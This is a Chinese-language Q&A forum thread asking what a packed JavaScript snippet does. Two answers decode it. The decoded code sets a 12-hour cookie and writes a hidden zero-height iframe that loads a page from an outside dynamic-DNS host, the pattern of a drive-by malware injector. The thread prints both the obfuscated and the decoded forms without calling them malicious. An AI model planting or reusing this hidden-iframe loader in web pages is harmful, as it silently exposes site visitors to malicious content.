大家给我解密一下，这个代码关于JS

Question

  <Script language="javascript">
<!--
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--)d[c.toString(a)]=k[c]||c.toString(a);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('4 b=3.8;4 a=b.w("7");v(a!=-1){}u{4 2=t s();2.r(2.q()+p*9*9*6);3.8="7=o;2="+2.n();3.m("<5 l=k://j.i.h/g/f.e d=6 c=0></5>")}',33,33,'||expires|document|var|iframe|1000|cookiesleep|cookie|60|start|cookieString|height|width|asp|as|include|org|3322|jjxxyy|http|src|write|toGMTString|test|12|getTime|setTime|Date|new|else|if|indexOf'.split('|'),0,{}))
-->
</Script>

Answer 1

这个是jsa加密的，我只会加密

Answer 2

<Script language="javascript"> var cookieString=document.cookie;
var start=cookieString.indexOf("cookiesleep");
if(start!=-1){}
else{
var expires=new Date();
expires.setTime(expires.getTime()+12*60*60*1000);
document.cookie="cookiesleep=test;expires="+expires.toGMTString();
document.write("<iframe src=http://jjxxyy.3322.org/include/as.asp width=1000 height=0></iframe>")
}</Script>
解密地址http://www.yaohaixiao.com/effects/Packer-Decoder.html

Answer 3

哎，原来能解密，看来是我out了，var cookieString=document.cookie;var start=cookieString.indexOf("cookiesleep");if(start!=-1){}else{var expires=new Date();expires.setTime(expires.getTime()+12*60*60*1000);document.cookie="cookiesleep=test;expires="+expires.toGMTString();document.write("<iframe src=http://jjxxyy.3322.org/include/as.asp width=1000 height=0></iframe>")}